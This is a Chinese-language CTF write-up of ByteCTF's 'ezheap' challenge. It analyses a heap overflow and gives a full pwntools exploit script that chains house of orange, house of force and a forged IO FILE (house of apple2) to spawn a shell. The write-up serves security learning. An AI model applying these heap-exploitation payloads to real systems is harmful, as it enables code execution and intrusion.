bytectf字节跳动 从ezheap分析force进阶打低版本io
sn0w 发表于 广东 CTF 508浏览 · 2024-09-19 02:56

例题分析

静态分析

add

free

这明显不是一个free功能 而是一个加密解密的过程

show

edit


输入多少字节就读入多少字节,这里明显存在一个堆溢出

思路

由于没有free函数 我们可以用house of orange 前期的思路去泄露libc地址,然后通过堆溢出改写top chunk为-1,把堆地址控到tcache头,然后污染,提取出hook函数的地址 并进行修改,改为ogg,但是这道题目应该是禁止了所有的hook函数所以关于exit_hook的打法和学习可以参考我的另一篇文章,这里的话要打io但是由于无法泄露堆地址,所以我们要通过add一个很大的堆块到libc段,就可以在上面布置fake IO_list_all结构体了 然后这里打apple2就可以了 感觉不是很难 直接套板子

exp如下:

#!/usr/bin/python3
import random
import os
import sys
import time
from pwn import *
from ctypes import *


#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')


sla = lambda data, content: mx.sendlineafter(data,content)
sa = lambda data, content: mx.sendafter(data,content)
sl = lambda data: mx.sendline(data)
rl = lambda data: mx.recvuntil(data)
re = lambda data: mx.recv(data)
sa = lambda data, content: mx.sendafter(data,content)
inter = lambda: mx.interactive()
l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))
s=lambda data: mx.send(data)
log_addr=lambda data: log.success("--->"+hex(data))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

def dbg():
    gdb.attach(mx)

#---------------------------------------------------------
# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
filename = "./pwn"
mx = process(filename)

elf=ELF("./pwn")
libc = elf.libc

#初始化完成---------------------------------------------------------\
def add(size):
    sla("Enter 1 to add, 2 to free, 3 to show, 4 to edit, 0 to exit:",b'1')
    sla(":",str(size))
def edit(idx,payload):
    sla(":",b'4')
    sla(b":",str(idx))
    sla(b"size\n",str(len(payload)))
    s(payload)
def show(idx):
    sla(":",b'3')
    sla(b":",str(idx))


dbg()
sleep(1)
add(0x100000)
add(0x18)
edit(1,b'a'*0x18+p64(0xd91))
add(0x1008)


add(0xd60)
show(3)
rl("Chunk at index 3: ")


libcbase=h64()-0x3ebca0
log_addr(libcbase)
ogg=libcbase+0x4f322 
chunk_addr=libcbase+0x6f6010
log_addr(chunk_addr)
IO_list_all=libcbase+libc.sym['_IO_list_all']
edit(2,b'\x00'*0x1008+p64(0xffffffffffffffff))
add(-0x22010)

add(0x100)

payload=b'\x07'*0x30+p64(IO_list_all)*0x10+b'\n'

edit(5,payload)
pause()
add(0x90)

edit(6,p64(chunk_addr))
_IO_wfile_jumps = libcbase + libc.sym['_IO_wfile_jumps']
system_addr = libcbase + libc.sym['system']

chunk_addr_IO_1_addr = chunk_addr
chunk_addr_IO_2_addr = chunk_addr + 0x500
chunk_addr_IO_3_addr = chunk_addr + 0x1000

chunk_addr_IO_file1 = b''
chunk_addr_IO_file1 += p64(u64(b"  sh;".ljust(8, b'\x00'))) + p64(1)
chunk_addr_IO_file1 = chunk_addr_IO_file1.ljust(0x28, b'\x00')
chunk_addr_IO_file1 += p64(1)
chunk_addr_IO_file1 = chunk_addr_IO_file1.ljust(0xa0, b'\x00')
chunk_addr_IO_file1 += p64(chunk_addr_IO_2_addr) 
chunk_addr_IO_file1 = chunk_addr_IO_file1.ljust(0xd8, b'\x00')
chunk_addr_IO_file1 += p64(_IO_wfile_jumps)

chunk_addr_IO_file2 = b''
chunk_addr_IO_file2 += p64(0) * 38 
chunk_addr_IO_file2 += p64(chunk_addr_IO_3_addr)

chunk_addr_IO_file3 = b''
chunk_addr_IO_file3 += p64(0) * 13
chunk_addr_IO_file3 += p64(system_addr)

payload = b''
payload += chunk_addr_IO_file1
payload = payload.ljust(0x500, b'\x00')
payload += chunk_addr_IO_file2
payload = payload.ljust(0x1000, b'\x00')
payload += chunk_addr_IO_file3

edit(0, payload)


inter()

动态调试过程
申请一个很大的堆块用于后面布局fake结构体

house of orange的前面打法泄露libc地址:

house of force成功劫持tcache 头:

接下来污染造成任意写:

然后就可以伪造结构体走house of apple2路线了

伪造成功 接下来拿shell

0 条评论
某人
表情
可输入 255